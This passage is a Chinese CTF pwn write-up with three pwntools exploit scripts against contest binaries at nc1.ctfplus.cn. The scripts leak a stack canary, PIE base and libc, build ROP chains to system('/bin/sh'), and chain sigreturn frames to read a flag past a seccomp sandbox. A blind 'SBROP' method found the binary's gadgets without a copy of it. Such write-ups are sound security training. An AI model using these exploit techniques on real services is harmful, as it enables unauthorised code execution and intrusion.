将浮点数转换为int类型
基本rop,先libc再sys
🌿exp
from pwn import *
import struct
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 21044)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x4014c3
read = 0x401292
ret = 0x40101a
io.sendline(str(28))
io.sendline(b'\x00')
io.recvuntil('you call the number is ')
data = io.recvuntil('\n', drop = True)
num = float(data)
canary = int(hex(struct.unpack('>Q', struct.pack('>d', num))[0]), 16)
success('canary =>> ' + hex(canary))
io.recv()
io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh').__next__()
io.sendline(str(1))
io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️stdout(栈溢出,缓冲机制)
🌿分析
checksec查看
IDA查看
输出缓冲区设定是满0x1000才会输出,这就是题目说的“异常”
puts可以泄露栈上的一些地址
栈溢出,基本rop
🌿解题
先利用开始的一次gift泄露栈地址
由于不知道base地址,只能将返回地址覆盖一字节,改回main函数开始,一直输出,存进缓冲区,存满0x1000就能输出了
将开始的stack接收
控制rbp为自己想要跳转的地方(后来发现好像作用不大,不用走到pop,也不知道当时为啥要整这个地址),并且改返回地址为write
read刚结束,write能泄露栈上一大片地址,其中就有base地址
可以看到会将base地址泄露
接收一波
由于read的输入位置不够,前面三个send是为了叠出个write来
如图栈的第4行就是叠出来的write,叠的过程:
先在这里写入了一个write
他这里往下走了一行,我没注意发生了啥事
由于pop的原因,每次循环都会将栈降低8字节,直到有一次,能够溢出3行,并且第4行是write
输出got表,就拿到了libc
随后基本rop就可以,这里又降低了一下栈,因为sys要栈对齐
🌿exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 33582)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.send(b'A' * 0x50)
for i in range(102):
io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + b'\x29')
io.recvuntil(b'A' * 0x50)
stack = u64(io.recv(6).ljust(8, b'\0')) - 0x448 + 0x50
success('stack =>> ' + hex(stack))
io.send(b'A' * 0x40 + p64(stack) + b'\x78')
io.recvuntil('A' * 0x40)
io.recv(8)
base = u64(io.recv(6).ljust(8, b'\0')) - 0x1382
success('base =>> ' + hex(base))
rdi = base + 0x1403
rsi_r15 = base + 0x1401
write = base + 0x1378
ret = base + 0x101a
puts_got = base + elf.got['puts']
io.send(b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rsi_r15) + p64(puts_got) + p64(0))
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
io.send(b'A' * 0x40 + p64(sys) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()
☘️ez_srop(SBROP)
《最颠沛流离的第二集》《你们不许拿附件做!》《SBROP》
🌿分析
本文的压轴题来了,也算是这次新生赛难度最高的一题。如果后面不给附件估计就我一个解
这题开始没给附件,第5天才给了,不知道是运维的锅还是出题人的锅。我一开始就觉得是有附件没上,但4小时做完其他week4的题后没题做了,就来做做这个题,没想到还真能成功
自创了一种攻击手法:SBROP(SROP + BROP),ROP如其名
没附件,没分析
🌿解题
先写个脚本交互
输入两下后结束,猜测有两个read。一般的BROP是一个输入就比较好爆破返回地址,两个的话,不确定哪个read有溢出
结合本题SROP,想了一会,应该是第一个read输入SROP,第二个read输入15个字节,然后调用第一个SROP
猜测第一次和第二次输入的地址应该是一样的,都是往一个buf里输入
先测试一下第一个read的rdx有多大,正好有第二次输入,当第一次输入到最大值溢出后,就会放进第二次输入,这样就可以测rdx多大
当输入0x400大小数据的时候,还没有事,可以进行第二次输入。输入0x401大小数据的时候,溢出了一字节,直接就进行了第二次输入,程序直接结束了,因此可以得知第一次执行了read(0, buf, 0x400)
第二次read的rdx暂时没法测,默认和上面一样是read(0, buf, 0x400)
有了范围心里就有了点底,0x400是一个很经典的SROP数,基本可以确定是第一次SROP,第二次输15个字节调用
之后需要知道需要多少字节溢出,这样才能安放好SROP。要知道多少字节溢出,就要先知道返回到哪里程序可以继续执行,这样才有回显,才知道ret成功了
有几个地方考虑:main函数开始,第一次read,第二次read,返回到这些地方程序都可以正常执行,等待输入,就有回显。我考虑跳到第一次read
但是程序地址不知道,怎么办呢?这需要一定的编题经验。像SROP类的题,有的用纯汇编出题,那么程序开始就可能是0x400000,也有可能是0x401000,前面没start那些东西,所以直接从text段的页表开始就执行主程序。有的用内联汇编出题,这种一般会往后延一点,从0x4011XX左右开始执行,前面执行start。还有可能用syscall函数出题,read就是syscall(0, 0, buf, 0x400)。还有可能是用read函数出题的标准C程序。
我这里考虑连续调用了两个read,再加上SROP需要syscall,应该是利用syscall函数出的题
所以我编了一下程序,我这里猜buf就直接是ret的地址,即写即ret,不过后来发现是错了,问题不大。当然我这里没有定义好,retaddr这个参数其实离rbp还有0x10字节距离,我不懂怎么C语言直接ret,懒得学
编成二进制程序
IDA里看,长这个样
汇编中,可以看到,如果没开pie的话,main函数开始的地址会是0x401169
这里题目如果要打BROP,那么canary和pie都不能开
所以我从0x401100开始爆破,实际上我也尝试了从0x401000和0x400000开始爆破,无果
当程序ret的时候,必定会ret到指定的ret_addr,如果此时刚好在read前,就会停下等待输入
此时输入一次,看到是异常退出了
接下来参数拉大开始爆破
看到在这两个地方停下了,等待输入。我猜应该这就分别是两个read,前面小的地址应该是才开始第一次read
接下来试一下是不是还能再输入两次
发现只能输入一次,这是怎么会事呢?后来我又反复测了挺久,发现不管怎样就是只能输一次,似乎不能回到第一次read的时候了
后来想到,可能第二次输入的rdx不是0x400,毕竟只能确定第一次,第二次一直不知道。如果第二次rdx是0x3ff,那么输入0x400就会溢出一个字节,这个字节在下一次来到第一次read的时候输入了进去,之后来到了第二次read,所以只能输入一次。
于是第二次只输入一字节
再次测试,发现能输入两下了,果然是第二次rdx和第一次不同,并且可以通过这一点,测出第二次read的rdx,测得为0x30,这个不是很重要
有了可以回显的返回地址,就可以测需要多少字节溢出
8个字节8个字节地增加就好,增加到0x28后发现有回显,其他地方都没回显,显然是溢出0x28后就到了ret
发现只能交互一次,可能是rbp出错了
这样就没问题了。当然,等会调用SROP的时候是不需要管rbp的,这里只是read需要
SROP干什么呢?第一件事是泄露程序逻辑,需要知道程序在0x401200到0x401300这段期间干了什么,知道程序干了什么,就和有附件一样了
利用write(1, 0x401200, 0x100)就可以完成
这样就可以完成调用,前提是知道syscall的地址,那么还需要爆破
我一直猜他是通过syscall调用的read,后来发现是直接调用read函数,syscall是另外留在程序里的,问题不大,依然是从0x401200开始爆破
write函数不好回显,这里用read,如果跳到了syscall,那么就可以调用成功read
发现到了0x4012c9的位置停下,这里可能就是syscall
换成write
发现的确是syscall,write成功。接下来程序已经相当于有了附件,不需要爆破了
机器码不好看,转换为汇编看,来到https://shell-storm.org/online/Online-Assembler-and-Disassembler/
把刚刚得到这一串扔进来
可以看到刚刚的c9位置是mov rbp, rsp,下面调用了syscall,所以其实刚刚的syscall还不是很标准的位置。为什么在c8的时候不行呢,因为push rbp后,下面就是ret,也就是说通过rbp控制这里的ret,刚刚rbp是8个A,所以不行
下面的f2位置,开始调用read,我这里只泄露0x100看不了后面了,实际上我当时泄露了0x200看了一眼后面,和预期差不多,没想到的是作者采用了read函数调用read
接下来我是想通过mprotect函数来提权写shellcode的,但是发现一直调用失败,猜想是不是只能orw,后来发现真的是,我一开始以为那个1f位置的是在setvbuf,但是后来泄露了一下0x401100位置的值,才发现早就setvbuf完了,才明白这里是沙箱,控制只能执行orw + sigreturn这4个系统调用
那orw的话就需要连续执行SROP,需要靠bss段
运用SROP往bss上写数据,把read的地址写上去,要不然等会orw不好read
先调用SROP的read写完后,rsp为0x404520,ret会pop rip,也就会从0x404520这里拿数据,拿到了read,就会去执行,read(0, rbp - 0x20, 0x400),这里rbp - 0x20也就是0x404600,往这里面写入下一次需要的SROP
往0x404600写入数据,等会rsp会移动到rbp的位置,也就是0x404620,也就是send中的syscall的位置,由于下面的第二次read读入了15个字节,会继续SROP,同时,写入./flag字符串在0x404600,就可以执行open(‘./flag’, 0)
随后,执行完SROP,rsp为0x404528,继续拿之前存的read的返回地址,继续往0x404700这个rbp - 0x20的位置输入数据
read(3, 0x404100, 0x100),原理同上
write(1, 0x404100, 0x100),这时候就不需要控制rsp和rbp了,因为不需要read等操作了
🌿exp
from pwn import *
context(arch = 'amd64', log_level = 'debug', os = 'linux')
io = remote('nc1.ctfplus.cn', 45094)
syscall = 0x4012cc
read = 0x4012f2
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404500
frame.rdx = 0x100
frame.rsp = 0x404520
frame.rbp = 0x404620
frame.rip = syscall
io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)
sleep(0.1)
io.send(b'A' * 0x20 + p64(read) + p64(read) + p64(read))
sleep(0.1)
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = 0x404600
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x404528
frame.rbp = 0x404720
frame.rip = syscall
io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'./flag\x00\x00' + b'A' * 7)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rsp = 0x404530
frame.rbp = 0x404620
frame.rip = syscall
io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rip = syscall
io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)
io.interactive()